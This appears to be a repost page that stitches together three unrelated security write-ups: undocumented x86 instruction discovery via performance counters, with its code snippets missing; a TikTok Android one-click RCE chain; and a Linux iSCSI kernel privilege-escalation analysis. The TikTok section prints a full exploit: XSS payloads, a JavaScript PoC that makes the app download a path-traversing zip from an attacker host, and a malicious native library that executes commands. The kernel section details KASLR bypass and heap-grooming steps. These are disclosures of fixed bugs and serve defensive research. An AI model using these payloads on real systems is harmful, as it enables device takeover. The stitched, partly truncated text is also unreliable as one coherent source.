Speculating The Entire X86-64 Instruction Set In Seconds With This One Weird Trick

Speculating The Entire X86-64 Instruction Set In Seconds With This One Weird Trick

Original text by Can Bölük

As cheesy as the title sounds, I promise it cannot beat the cheesiness of the technique I’ll be telling you about in this post. The morning I saw Mark Ermolov’s tweet about the undocumented instruction reading from/writing to the CRBUS, I had a bit of free time in my hands and I knew I had to find out the opcode so I started theory-crafting right away. After a few hours of staring at numbers, I ended up coming up with a method of discovering practically every instruction in the processor using a side(?)-channel. It’s an interesting method involving even more interesting components of the processor so I figured I might as well write about it, so here it goes.

You can find the full data-set and the implementation source at haruspex.can.ac / Github.

Preface 1/2: If storks are busy delivering babies, where do micro-instructions come from?

Modern processors are built with a crazy amount of microarchitectural complexity these days and as one would expect the good old instruction decoders no longer decode for the execution unit directly. They end up decoding them into micro-instructions according to the micro-code of the processor to dispatch to the execution ports of the processor. There are two units that perform this translation in a modern Intel processor:

  1. Micro-instruction Translation Engine (MITE). The unit responsible for the translation of simple legacy instructions that translate to four or less micro-instructions.
  2. Microcode Sequencer (MS). The unit responsible for the translation of much more complex instructions that drive the CISC craziness of the Intel architecture we all hold dearly.

Another unit that dispatches these micro-instructions is the Decoded Stream Buffer (DSB) more frequently known as the iCache but it is not really relevant to the experiment we’re going to do. Now, why am I telling you all of this? Mainly because we can profile these extremely low-level units thanks to the performance counters Intel gracefully provides us; mainly these two bad boys:

One of the advantages of utilizing these events compared to a Sandsifter-like approach is that even if the microcode of the instruction throws a #UD (say if the password does not match or if the conditions are not met) it cannot fool us as it’d still have to be decoded.

Preface 2/2: Executing in a parallel universe

Now the problem is getting those instructions there. There are a million of ways you can shoot yourself in the foot by executing random instructions. What happens if we hit an instruction that changes our interruptibility state, causes a system reset, messes with the internal caches or the very performance counters we’re using, the stack we’re executing on, the code of the profiler, the code segment we’re executing in…

The easy solution is to simply, not execute, at least in our visible universe, which brings us to our second cool microarchitectural detail: speculative and out-of-order execution. The processor evaluating the branch condition at the branch has apparently grown out of fashion so what really happens when you do a branch is that, first, the branch prediction engine attempts to guess the branch you are going to take to reduce the cost of the reversal of the instruction pipelines, given an equal possibility both branches execute at the same time where possible and no speculation fences are present and then one of them gets their net change reverted… which is pretty much what we wanted isn’t it? Now although probing the branch to reset the branch prediction state is possible and I’ve experimented with it before, it’s a bit bothersome so an easier way is to simply do a CALL. Consider this snippet:

This will cause the execution of the speculated code and the invoked subroutine out-of-order if possible. The XCHG may seem a bit overkill compared to a simpler solution popping the stack but as far as my experiments went, the processor is too smart to split the execution if the routine is non-returning so we need to feed the branch target buffer what it wants. I’ve used XCHG here instead of a MOV since it implies LOCK which will cause the processor to end up in a memory stall given that it has to end up visible given the atomicity –or at least so I theorize.
We will also need to trash the Decoded Stream Buffer I’ve mentioned previously so that we do not get any micro-instructions fed from the cache but there’s a very simple solution for that. The instruction cache also has to handle self-rewriting code so execute memory is extremely sensitive to any memory writes, given this information adding the simple snippet below before every measurement takes care of this issue.

0x0: Precise data collection

Finally, we’ve hit the exciting part of the experiment, experimenting. We want precise results which implies non-interruptibility. You might be tricked into thinking being in kernel-mode and doing a CLI solves this problem but this does not really work that way in reality. The first thing that worries me is an #SMI being delivered, although I keep hearing it freezes PMCs, as far as I’ve experimented it really doesn’t do a great job at that, but even if it did it’s still an impurity we have to eliminate so I’ll repeat the experiment until the mighty IA32_MSR_SMI_COUNT stays constant during the execution. #NMI is the other bugger, so setting the interrupt handler so that it signals a retry solves this problem (since I’m too lazy to unwind). #MC would also be considered in this category but at that point might as well let it all burn.

Repeating the experiment multiple times and picking the Mod(x), and writing the code in a tight manner eliminates pretty much every other problem we’ve left. The next step is simply writing the code and actually collecting the data. The speculated code will be 15 copies of NOP and a 0xCE at the end to cause an actual #UD and halt the speculative execution. We’ll be trying pretty much every opcode in the range of 0x00-0xFF and they will optionally take a prefix of 0x0F and optionally another prefix in the set { 0x66, 0xF2, 0xF3 } since Intel likes to use them to create new opcodes out of thin-air (e.g. the recent FRED instruction ERETS with its F2 0F 01 CA encoding). We also need to add a suffix for discovering ModR/M variants. This process completes in mere seconds, which gave the title to this post.

0x1: Reducing the results

First of all, we’ll get two baseline measurements, the NOPs left as is, and the 0xCE as the first opcode which will reveal the counter values for a complete execution and the for-real-#UD case (I’ve tested other opcodes, 0xCE really isn’t an NSA backdoor, it’s the real deal as far as #UD’s go.).

Simply removing all measurements matching the for-real-#UD case measurement gets rid of most of the garbage, now we need to get rid of the redundant prefixes, taking a look at the data below you can see a pattern emerge:

Every nop translates to a single micro-instruction that will be handled by the MITE, which means if the prefix is redundant MITS should be always off by just one and MS should stay the same, additionally, we can filter out some redundant checks by declaring 0x0F never redundant. Combining both we get rid of most of the redundancies in a simple fashion and even might be able to calculate the instruction length, neat! The code below gets rid of 54954 entries.

Suffix-based purging is also more or less the same logic which gets rid of 72869 instructions, leaving us with 1699 entries, which is good enough to start the analysis!

0x2: Deduction of behavior

Let’s demonstrate the amazing amount of information we’ve gathered just from these two counters and some bytes existing at some fixed place without even being executed. If MS is below the nop baseline, this would indicate that the control flow is interrupted meaning that it must be a branch or an exception and if the MITS is the same as the fault-baseline, this likely indicates a serializing instruction which dispatched a number of micro-instructions (given that it passed our initial filter of MS or MITS not remaining same) but then halted the speculative flow (since none of the NOP opcodes were decoded).

Considering how simplistic the conditions are, not bad right?

0x3: Deduction of speculative behavior

You might have noticed the “Speculation fence” indication in the previous data dump. I’ve gotten a bit greedy and wanted to also know if the instructions speculatively execute or if they halt the queue for the sake of side-channeling the results so I went ahead and collected another piece of information, which comes from a rather unexpected performance counter:

You might be wondering what this has to do with anything. This particular counter is very useful given the fact that we don’t do any divisions in our previous code. Why? Because this means adding a division right after the instruction and seeing if the cycles is non-zero will let us know if the speculative execution was halted or not. We achieve this by first squeezing a divps xmm4, xmm5 there right before the #UD‘ing 0xCE and finally we waste some cycles at the non-speculative counterpart to cause a stall giving the speculative code more execution time from the execution port. Changing the previous routine code to the following pretty much gives us the perfect setup:

AVX to SSE switch, memory stall, register dependencies, atomicity, this one has it all! Marking the entries that have non-zero counters as “speculative friendly” essentially lets us know what instructions we can speculatively execute and leak information from, and as you can see in the next example it seems to work pretty nicely.

0x: Some of the interesting results

Here is the full list of undocumented easter-egg instructions my i7 6850k comes with:

Contrary to popular belief mov cr2, reg is not serializing.

Despite lacking the CPL check of int imm8int1 has more logic in the microcode.

mov ss is a speculation fence whereas cli isn’t. lss is a speculation fence whereas lgs isn’t.

TikTok for Android 1-Click RCE

TikTok for Android 1-Click RCE

Original text by Sayed Abdelhafiz


While testing TikTok for Android Application, I identified multiple bugs that can be chained to achieve Remote code execution that can be triaged through multiple dangerous attack vectors. In this write-up, we will discuss every bug and chain altogether. I worked on it for about 21-day, a long time. The final exploit was simple. The long time I spent in this exploit got me incredible experience and an important trick that helped me a lot in the exploit. TikTok implemented a fix to address the bugs identified, and it was retested to confirm the resolution.


  1. Universal XSS on TikTok WebView
  2. Another XSS on AddWikiActivity
  3. Start Arbitrary Components
  4. Zip Slip in TmaTestActivity
  5. RCE!

Universal XSS on TikTok WebView

TikTok uses a specific WebView that can be invoked by deep-link, Inbox Messages. The WebView handle something called falcon links by grabbing it from the internal files instead of fetching it from their server every time the user uses it to increase the performance.

For performance measuring purposes, after finishing loading the page. The following function will get executed:

this.a.evaluateJavascript("JSON.stringify(window.performance.getEntriesByName(\'" + this.webviewURL + "\'))", v2);

The first idea got on my mind is injecting XSS Payload in the URL to escape the function call and execute my malicious code.

I tried the following link https://m.tiktok.com/falcon/?'),alert(1));//

Unfortunately, It didn’t work. I write a Frida script to hook android.webkit.WebView.evaluateJavascript Method to see what happens?

I found the following string is passed to the method:


The payload is getting encoded because It was in the query string segment. So I decided to put the payload in the fragment segment After #

https://m.tiktok.com/falcon/#'),alert(1));// will fire the following line:


Now, It’s done! We have Universal XSS in that WebView.

Notice: It’s Universal XSS because that javascript code is fired if the link contains something like: m.tiktok.com/falcon/.

For example, https://www.google.com/m.tiktok.com/falcon/ will fire this XSS too.


After find this XSS, I started digging in that WebView to see how It can be harmful.

First, I set up my lab to make it easy for my testing. I have enabled WebViewDebug module to debug the WebView from my dev-tools in google chrome. You find the module here: https://github.com/feix760/WebViewDebugHook

I found that WebView supports the intent scheme. This scheme can make you able to build a customize intent and launch it as an activity. It’s helpful to avoid the export setting of the non-exported activities and maximize the testing scope.

Read the following paper for more information about this intent and how to implents: https://www.mbsd.jp/Whitepaper/IntentScheme.pdf

I tried to execute the following javascript code to open com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity Activity:

location = "intent:#Intent;component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end;"

But I didn’t notice any effect of executing that javascript. I back to the WebViewClient to see what was happening. And the following code came:

boolean v0_7 = v0_6 == null ? true : v0_6.hasClickInTimeInterval();
if((v8.i) && !v0_7) {
v8.i = false;
v4 = true;
else {
v4 = v0_7;

This code restricts the intent scheme to takes effect unless the user has just clicked anywhere. Bad! I don’t prefer 2-click exploits. I saved it in my note and continue my digging trip.

ToutiaoJSBridge, It’s a bridge implemented in the WebView. It has many fruit functions, one of them was openSchema that used to open internal deep-links. There a deep link called aweme://wiki It used to open URLs on AddWikiActivity WebView.

Another XSS on AddWikiActivity

AddWikiActivity Implementing URL validation to make sure that no black URL would be opened in it. But the validation was in http or https schemes only. Because they think that any other scheme is invalid and don’t need to validate:

if(!e.b(arg8)) {
com.bytedance.t.c.e.b.a("AbsSecStrategy", "needBuildSecLink : url is invalid.");
return false;
}public static boolean b(String arg1) {
return !TextUtils.isEmpty(arg1) && ((arg1.startsWith("http")) || (arg1.startsWith("https"))) && !e.a(arg1);

Pretty cool, If the validation is not on the javascript scheme. We can use that scheme to perform XSS attacks on that WebView too!

"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=javascript://m.tiktok.com/%250adocument.write(%22%3Ch1%3EPoC%3C%2Fh1%3E%22)&disable_app_link=false"
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"

<h1>PoC</h1> got printed on the WebView

Start Arbitrary Components

The good news is AddWikiActivity WebView supports the the intent scheme too without any restriction but if disable_app_link parameter was set to false. Easy man!

if the following code got execute in AddWikiActivity The UserFavoritesActivity will get invoked:


Zip Slip in TmaTestActivity

Now, we can open any activity and pass any extras to it. I found an activity called TmaTestActivity in a split package called split_df_miniapp.apk.

Notice: the splits packages don’t attach in the APK. It got downloaded after the first launch of the application by google play core. You can find those package by: adb shell pm path {package_name}

In a nutshell, TmaTestActivity was used to update the SDK by downloading a zip from the internet and extract it.

Uri v5 = Uri.parse(Uri.decode(arg5.toString()));
String v0 = v5.getQueryParameter("action");
if(m.a(v0, "sdkUpdate")) {
m.a(v5, "testUri");
this.updateJssdk(arg4, v5, arg6);

To Invoke the update process we have to set action parameter to sdkUpdate.

private final void updateJssdk(Context arg5, Uri arg6, TmaTestCallback arg7) {
String v0 = arg6.getQueryParameter("sdkUpdateVersion");
String v1 = arg6.getQueryParameter("sdkVersion");
String v6 = arg6.getQueryParameter("latestSDKUrl");
SharedPreferences.Editor v2 = BaseBundleDAO.getJsSdkSP(arg5).edit();
v2.putString("sdk_update_version", v0).apply();
v2.putString("sdk_version", v1).apply();
v2.putString("latest_sdk_url", v6).apply();
DownloadBaseBundleHandler v6_1 = new DownloadBaseBundleHandler();
BundleHandlerParam v0_1 = new BundleHandlerParam();
v6_1.setInitialParam(arg5, v0_1);
ResolveDownloadHandler v5 = new ResolveDownloadHandler();
SetCurrentProcessBundleVersionHandler v6_2 = new SetCurrentProcessBundleVersionHandler();

It collects the SDK updating information from the parameters, then invoke DownloadBaseBundleHandler instance, then set the next handler to ResolveDownloadHandler, then SetCurrentProcessBundleVersionHandler

Let’s start with DownloadBaseBundleHandler. It checks sdkUpdateVersion parameter to see if it was newer than the current one or not. We can set the value to 99.99.99 to avoid this check, then starting the download:

public BundleHandlerParam handle(Context arg14, BundleHandlerParam arg15) {
String v0 = BaseBundleManager.getInst().getSdkCurrentVersionStr(arg14);
String v8 = BaseBundleDAO.getJsSdkSP(arg14).getString("sdk_update_version", "");
if(AppbrandUtil.convertVersionStrToCode(v0) >= AppbrandUtil.convertVersionStrToCode(v8) && (BaseBundleManager.getInst().isRealBaseBundleReadyNow())) {
InnerEventHelper.mpLibResult("mp_lib_validation_result", v0, v8, "no_update", "", -1L);
v10.appendLog("no need update remote basebundle version");
arg15.isIgnoreTask = true;
return arg15;
this.startDownload(v9, v10, arg15, v0, v8);

In startDownload Method, I found that:

v2.a = StorageUtil.getExternalCacheDir(AppbrandContext.getInst().getApplicationContext()).getPath();
v2.b = this.getMd5FromUrl(arg16);

v2.a is the download path. It gets the application context from AppbrandContext and it must have an Instance. Unfortunately, the application didn’t init this instance all time. But I told you that I spent 21-day on this exploit, yeah!? It was enough for me to gain extensive knowledge about the application workflow. And yes! I saw somewhere this instance getting inited.

Invoking the preloadMiniApp function through ToutiaoJSBridge was able to init the instance for me! It was easy for me! Digging on every function on this bridge, even It doesn’t look helpful for me for the first time, but it became useful in this situation ;).

v2.b is the md5sum of the downloading file. It gets from the filename itself:

private String getMd5FromUrl(String arg3) {
return arg3.substring(arg3.lastIndexOf("_") + 1, arg3.lastIndexOf("."));

The filename must look like: anything_{md5sum_of_file}.zip because the md5sum will be compared with the file md5sum after downloading:

public void onDownloadSuccess(ad arg11) {
File v11 = new File(this.val$tmaFileRequest.a, this.val$tmaFileRequest.b);
long v6 = this.val$beginDownloadTime.getMillisAfterStart();
if(!v11.exists()) {
this.val$baseBundleEvent.appendLog("remote basebundle download fail");
this.val$param.isLastTaskSuccess = false;
this.val$baseBundleEvent.appendLog("remote basebundle not exist");
InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "fail", "md5_fail", v6);
else if(this.val$tmaFileRequest.b.equals(CharacterUtils.md5Hex(v11))) {
this.val$baseBundleEvent.appendLog("remote basebundle download success, md5 verify success");
this.val$param.isLastTaskSuccess = true;
this.val$param.targetZipFile = v11;
InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "success", "", v6);
else {
this.val$baseBundleEvent.appendLog("remote basebundle md5 not equals");
InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "fail", "md5_fail", v6);
this.val$param.isLastTaskSuccess = false;

After download processing finished, the file gets passed to ResolveDownloadHandler, to unzip It:

public BundleHandlerParam handle(Context arg13, BundleHandlerParam arg14) {
BaseBundleEvent v0 = arg14.baseBundleEvent;
if((arg14.isLastTaskSuccess) && arg14.targetZipFile != null && (arg14.targetZipFile.exists())) {
arg14.bundleVersion = BaseBundleFileManager.unZipFileToBundle(arg13, arg14.targetZipFile, "download_bundle", false, v0);public static long unZipFileToBundle(Context arg8, File arg9, String arg10, boolean arg11, BaseBundleEvent arg12) {
long v10;
boolean v4;
Class v0 = BaseBundleFileManager.class;
synchronized(v0) {
boolean v1 = arg9.exists();
if(!v1) {
return 0L;
try {
File v1_1 = BaseBundleFileManager.getBundleFolderFile(arg8, arg10);
arg12.appendLog("start unzip" + arg10);
BaseBundleFileManager.tryUnzipBaseBundle(arg12, arg10, v1_1.getAbsolutePath(), arg9);private static void tryUnzipBaseBundle(BaseBundleEvent arg2, String arg3, String arg4, File arg5) {
try {
arg2.appendLog("unzip" + arg3);
IOUtils.unZipFolder(arg5.getAbsolutePath(), arg4);
}public static void unZipFolder(String arg1, String arg2) throws Exception {
IOUtils.a(new FileInputStream(arg1), arg2, false);
}private static void a(InputStream arg5, String arg6, boolean arg7) throws Exception {
ZipInputStream v0 = new ZipInputStream(arg5);
while(true) {
ZipEntry v5 = v0.getNextEntry();
if(v5 == null) {
String v1 = v5.getName();
if((arg7) && !TextUtils.isEmpty(v1) && (v1.contains("../"))) { // Are you notice arg7?
goto label_2;
if(v5.isDirectory()) {
new File(arg6 + File.separator + v1.substring(0, v1.length() - 1)).mkdirs();
goto label_2;
File v5_1 = new File(arg6 + File.separator + v1);
if(!v5_1.getParentFile().exists()) {
FileOutputStream v1_1 = new FileOutputStream(v5_1);
byte[] v5_2 = new byte[0x400];
while(true) {
int v3 = v0.read(v5_2);
if(v3 == -1) {
v1_1.write(v5_2, 0, v3);

In the last method called to unzip the file, there is a check for path traversal, but because arg7 value is false, the check won’t happen! Perfect!!

It makes us able to exploit ZIP Slip and overwrite some delicious files.

Time for RCE!

I created a zip file and path traversed the filename to overwrite /data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so file:

dphoeniixx@MacBook-Pro Tiktok % 7z l libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,16 CPUs x64)

Scanning the drive for archives:
1 file, 1930 bytes (2 KiB)

Listing archive: libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip

Path = libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip
Type = zip
Physical Size = 1930

Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2020-11-26 04:08:29 ..... 5896 1496 ../../../../../../../../../data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so
------------------- ----- ------------ ------------ ------------------------
2020-11-26 04:08:29 5896 1496 1 files

Now we can overwrite native-libraries with a malicious library to execute our code. It won’t be executed unless the user relaunches the Application. I found a way to reload that library without relaunch by launching com.tt.miniapphost.placeholder.MiniappTabActivity0 Activity.

Final PoC:

document.title = "Loading..";
if (document && window.name != "finished") { // the XSS will be fired multiple time before loading the page and after. this condition to make sure that the payload won't fire multiple time.
window.name = "finished";
"__callback_id": "0",
"func": "preloadMiniApp",
"__msg_type": "callback",
"params": {
"mini_app_url": "https://microapp/"
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://d.c/"
})); // initialize Mini App
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=javascript:location.replace(%22intent%3A%2F%2Fwww.google.com.eg%2F%3Faction%3DsdkUpdate%26latestSDKUrl%3Dhttp%3A%2F%2F{ATTACKER_HOST}%2Flibran_a1ef01b09a3d9400b77144bbf9ad59b1.zip%26sdkUpdateVersion%3D1.87.1.11%23Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically%2Fcom.tt.miniapp.tmatest.TmaTestActivity%3Bpackage%3Dcom.zhiliaoapp.musically%3Baction%3Dandroid.intent.action.VIEW%3Bend%22)%3B%0A&noRedirect=false&title=First%20Stage&disable_app_link=false"
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
})); // Download malicious zip file that will overwite /data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so
setTimeout(function() {
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=javascript:location.replace(%22intent%3A%23Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically%2Fcom.tt.miniapphost.placeholder.MiniappTabActivity0%3Bpackage%3Dcom.zhiliaoapp.musically%3BS.miniapp_url%3Dhttps%3Bend%22)%3B%0A&noRedirect=false&title=Second%20Stage&disable_app_link=false"
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
})); // load the malicious library after overwrtting it.
}, 5000);

Malicious library code:

#include <jni.h>
#include <string>
#include <stdlib.h>

JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
system("id > /data/data/com.zhiliaoapp.musically/PoC");
return JNI_VERSION_1_6;

TikTok Fixing!

TikTok Security implemented an excellent and responsible fix to address those vulnerabilities in a timely manner. The following actions were taken:

  1. The vulnerable XSS code has been deleted.
  2. TmaTestActivity has been deleted.
  3. Implement restrictions to intent scheme that doesn’t allow an intent for TikTok Application on AddWikiActivity and Main WebViewActivity.

Have a nice day!

New Old Bugs in the Linux Kernel

New Old Bugs in the Linux Kernel

Original text by By Adam


Dusting off a few new (old) vulns

Have you ever been casually perusing the source code of the Linux kernel and thought to yourself «Wait a minute, that can’t be right»? That’s the position we found ourselves in when we found three bugs in a forgotten corner of the mainline Linux kernel that turned out to be about 15 years old. Unlike most things that we find gathering dust, these bugs turned out to still be good, and one turned out to be useable as a Local Privilege Escalation (LPE) in multiple Linux environments.

Who you calling SCSI?

The particular subsystem in question is the SCSI (Small Computer System Interface) data transport, which is a standard for transferring data made for connecting computers with peripheral devices, originally via a physical cable, like hard drives. SCSI is a venerable standard originally published in 1986 and was the go-to for server setups, and iSCSI is basically SCSI over TCP. SCSI is still in use today, especially if you’re dealing with certain storage situations, but how does this become an attack surface on a default Linux system?

Through the magic of extensive package dependencies, rdma-core is one of the packages that ends up being installed in any of the RHEL or CentOS base environments that include a GUI (Workstation, Server with GUI, and Virtualization Host), as well as Fedora Workstations. Additionally, rdma-core could be installed on other distributions, including Ubuntu and Debian, due to its use as a dependency for many other packages (see Figure 1). On Ubuntu Server 18.04 LTS and earlier, this was installed by default.

List of packages that depend on rdma-core on a default install of RHEL 8.3

RDMA (Remote Direct Memory Access) is a technology for high-throughput, low-latency networking whose application to data transfer and storage seems obvious. There are several implementations, but the only one that’s relevant in the current discussion is Infiniband, found in the ib_iser kernel module.

If you’re thinking «wait, is all of this just automatically up and running even if I don’t use SCSI or iSCSI?», that’s great because that line of questioning would lead to you to the concept of on-demand kernel module loading and an attack vector that’s been around for a long time.

Automatic Module Loading, a.k.a. On-demand crufty kernel code

In an effort to be helpful and improve compatibility, the Linux kernel can load kernel modules on-demand if particular code notices some functionality is needed and can be loaded, like support for uncommon protocol families. This is helpful, but it also opens up the attack surface for local attackers because it allows unprivileged users to load obscure kernel modules which they can then exploit. Public knowledge of this has been around for over a decade, with grsecurity’s GRKERNSEC_MODHARDEN being introduced as a defense against this sort of thing in 2009. Jon Oberheide’s tongue-in-cheek named public exploit in 2010 made it plain that this was an issue, though Dan Rosenberg’s suggested patch in 2010 implementing a sysctl option wasn’t adopted. There have been other mitigations that have become available in the last few years, but support for them varies between Linux distributions.

So you’re telling me there are bugs?

One of the nice parts about having source code is you could just be scanning visually and certain things might pop out and pique your interest, making you want to pull the thread on them. The first bug we found is like that. Seeing a bare sprintf means a buffer copy with no length, which means its game over if it’s attacker-controlled data and no previous length validation (see Figure 2). So while there’s a fair number of indirections and macros, and you have to jump through a number of files to follow the thread of execution, the main bug is a simple buffer overflow because sprintf was used. This is also an indication of a lack of security-conscious programming practices that was prevalent at the time this code was developed, as the other bugs show.

Overflows, overflows everywhere

The second bug is similar: using a kernel address as a handle. Clearly a leftover from when there wasn’t any effort to keep the kernel from leaking pointers, but nowadays it’s a handy Kernel Address Space Layout Randomization (KASLR) bypass, as it points to a structure full of pointers. And the final bug is simply failure to validate data from userland, which is a classic kernel programming issue.

Bug Identification

Linux Kernel Heap Buffer Overflow

  • Vulnerability Type: Heap Buffer Overflow
  • Location: iscsi_host_get_param() in drivers/scsi/libiscsi.c
  • Affected Versions: Tested on RHEL 8.1, 8.2, and 8.3
  • Impact: LPE, Information Leak, Denial of Service (DoS)
  • CVE Number: CVE-2021-27365

The first vulnerability is a heap buffer overflow in the iSCSI subsystem. The vulnerability is triggered by setting an iSCSI string attribute to a value larger than one page, and then trying to read it. Internally, a sprintf call (line 3397 in drivers/scsi/libiscsi.c in the kernel-4.18.0-240.el8 source code) is used on the user-supplied value with a buffer of a single page that is used for the seq file that backs the iscsi attribute. More specifically, an unprivileged user can send netlink messages to the iSCSI subsystem (in drivers/scsi/scsi_transport_iscsi.c) which sets attributes related to the iSCSI connection, such as hostname, username, etc, via the helper functions in drivers/scsi/libiscsi.c. These attributes are only limited in size by the maximum length of a netlink message (either 2**32 or 2**16 depending on the specific code processing the message). The sysfs and seqfs subsystem can then be used to read these attributes, however it will only allocate a buffer of PAGE_SIZE (single_open in fs/seq_file.c, called when the sysfs file is opened). This bug was first introduced in 2006 (see drivers/scsi/libiscsi.c, commits a54a52caad and fd7255f51a) when the iSCSI subsystem was being developed. However, the kstrdup/sprintf pattern used in the bug has been expanded to cover a larger number of fields since the initial commit.

Linux Kernel Pointer Leak to Userspace

  • Vulnerability Type: Kernel Pointer Leak
  • Location: show_transport_handle() in drivers/scsi/scsi_transport_iscsi.c
  • Affected Versions: Tested on RHEL 8.1, 8.2, and 8.3
  • Impact: Information Leak
  • CVE Number: CVE-2021-27363

In addition to the heap overflow vulnerability, GRIMM discovered a kernel pointer leak that can be used to determine the address of the iscsi_transport structure. When an iSCSI transport is registered with the iSCSI subsystem, the transport’s ”handle“ is available to unprivileged users via the sysfs file system, at /sys/class/iscsi_transport/$TRANSPORT_NAME/handle. When read, the show_transport_handle function (in drivers/scsi/scsi_transport_iscsi.c) is called, which leaks the handle. This handle is actually the pointer to an iscsi_transport struct in the kernel module’s global variables.

Linux Kernel Out-of-Bounds Read

  • Vulnerability Type: Out-of-Bounds Read
  • Location: iscsi_if_recv_msg() in drivers/scsi/scsi_transport_iscsi.c
  • Affected Versions: Tested on RHEL 8.1, 8.2, and 8.3
  • Impact: Information Leak, DoS
  • CVE Number: CVE-2021-27364

The final vulnerability is an out-of-bounds kernel read in the libiscsi module (drivers/scsi/libiscsi.c). This bug is triggered via a call to send_pdu (lines 3747-3750 in drivers/scsi/scsi_transport_iscsi.c in the kernel-4.18.0-240.el8 source code). Similar to the first vulnerability, an unprivileged user can craft netlink messages that specify buffer sizes that the driver fails to validate, causing a controllable out-of-bounds read. There are multiple user-controlled values that are not validated, including the calculation of the size of the preceding header, allowing for a read of up to 8192 bytes at a controllable 32-bit offset from the original heap buffer.

Technical Analysis


GRIMM developed a Proof of Concept (PoC) exploit that demonstrates the use of the first two vulnerabilities.

In its current state, the PoC has support for the 4.18.0-147.8.1.el8_1.x86_644.18.0-193.14.3.el8_2.x86_64, and 4.18.0-240.el8.x86_64 releases of the Linux kernel. Other versions of the Linux kernel are also vulnerable, but symbol addresses and structure offsets will need to be gathered before they can be exploited. See the symbols.csymbols.h, and utilities/get_symbols.sh script for a semi-automated symbol gathering approach. Testing was performed against RHEL 8.1 through 8.3, but other Linux distributions using the same underlying kernel images are vulnerable as well.


Before we can start modifying kernel structures and changing function pointers, we’ve got to bypass KASLR. Linux randomizes the base address of the kernel to hinder the exploitation process. However, due to numerous sources of local information leak, KASLR can often be bypassed by a local user. This exploit is no exception, as it includes two separate information leaks which enable it to bypass KASLR.

The first information leak comes from a non-null terminated heap buffer. When an iSCSI string attribute is set via the iscsi_switch_str_param function (shown below), the kstrdup function is called on the user provided input (in new_val_buf). However, the buffer containing the user input is not initialized upon allocation, and the kernel does not enforce that the user’s input is NULL terminated. As a result, the kstrdup function will copy any non-NULL bytes after the client input, which can later be retrieved by reading back the attribute. The exploit abuses this information leak by specifying a string of 656 bytes, which results in the address of the netlink_sock_destruct being included in the kstrdup’ed string. Later, the exploit reads back the attribute set here, and obtains the address of this function. By then subtracting off the base address of the netlink_sock_destruct, the exploit can calculate the kernel slide. The allocation which sets the netlink_sock_destruct function pointer is performed in the __netlink_create function (net/netlink/af_netlink.c) as a natural side effect of sending a netlink message.

int iscsi_switch_str_param(char **param, char *new_val_buf)
  char *new_val;

  if (*param) {
    if (!strcmp(*param, new_val_buf))
      return 0;

  new_val = kstrdup(new_val_buf, GFP_NOIO);
  if (!new_val)
    return -ENOMEM;

  *param = new_val;
  return 0;

The second information leak obtains the address of the target module’s iscsi_transport structure via the second vulnerability. This structure defines the transport’s operations, i.e. how it handles each of the various iSCSI requests. As this structure is within the target kernel module’s global region, we can use this information leak to obtain the address of its kernel module (and thus any other variables within it).

Obtaining a Kernel Write Primitive

The Linux kernel heap’s SLUB allocator maintains a cache of objects of the same size (in powers of 2). Each free object in this cache contains a pointer to the next free item in the cache (at offset 0 in the free item). The exploit uses the heap overflow to modify the freelist pointer at the beginning of the adjacent slab. By redirecting this pointer, we can choose where the kernel will make an allocation. By carefully choosing the allocation location and controlling the allocations in this cache, the exploit obtains a limited kernel write primitive. As explained in the next section, the exploit uses this controlled write to modify the iscsi_transport struct.

In order to obtain the desired heap layout, the exploit utilizes heap grooming via POSIX message queue messages. The exploit operates on the 4096 kmalloc cache, which is a comparatively low-traffic cache. As such, abusing the freelist to redirect it to an arbitrary location is unlikely to cause issues. Message queue messages were selected as the ideal heap grooming allocation as they can be easily allocated/freed from userland, and their contents and size can be mostly controlled from userland.

The exploit takes the following steps to obtain a kernel write primitive from the heap overflow:

  1. Send a large number of message queue messages to ourselves, but do not receive them. This will cause the kernel to create the associated message queue structures in the kernel, flooding the 4096 kmalloc cache.
  2. Receive a number of the message queue messages. This will cause the kernel to free the kernel message queue structures. If successful, the resulting 4096 kmalloc cache will contain a number of free items in a row, such as shown in the image (1) below.
  3. The exploit triggers the overflow. The overflow allocation will take one of the cache’s free entries and overflow the next freelist pointer for the adjacent free item, as shown in (2) and (3) in the image below. The exploit uses the overflow to redirect the next freelist pointer to point at the ib_iser module’s iscsi_transport struct.
  4. After the overflow, the exploit sends more message queue messages in order to reallocate the modified free item. The kernel will traverse the freelist and return an allocation at our modified freelist pointer, as shown in (4) in the image below.
Heap Grooming and Overflow Cache Layout
Heap Grooming and Overflow Cache Layout

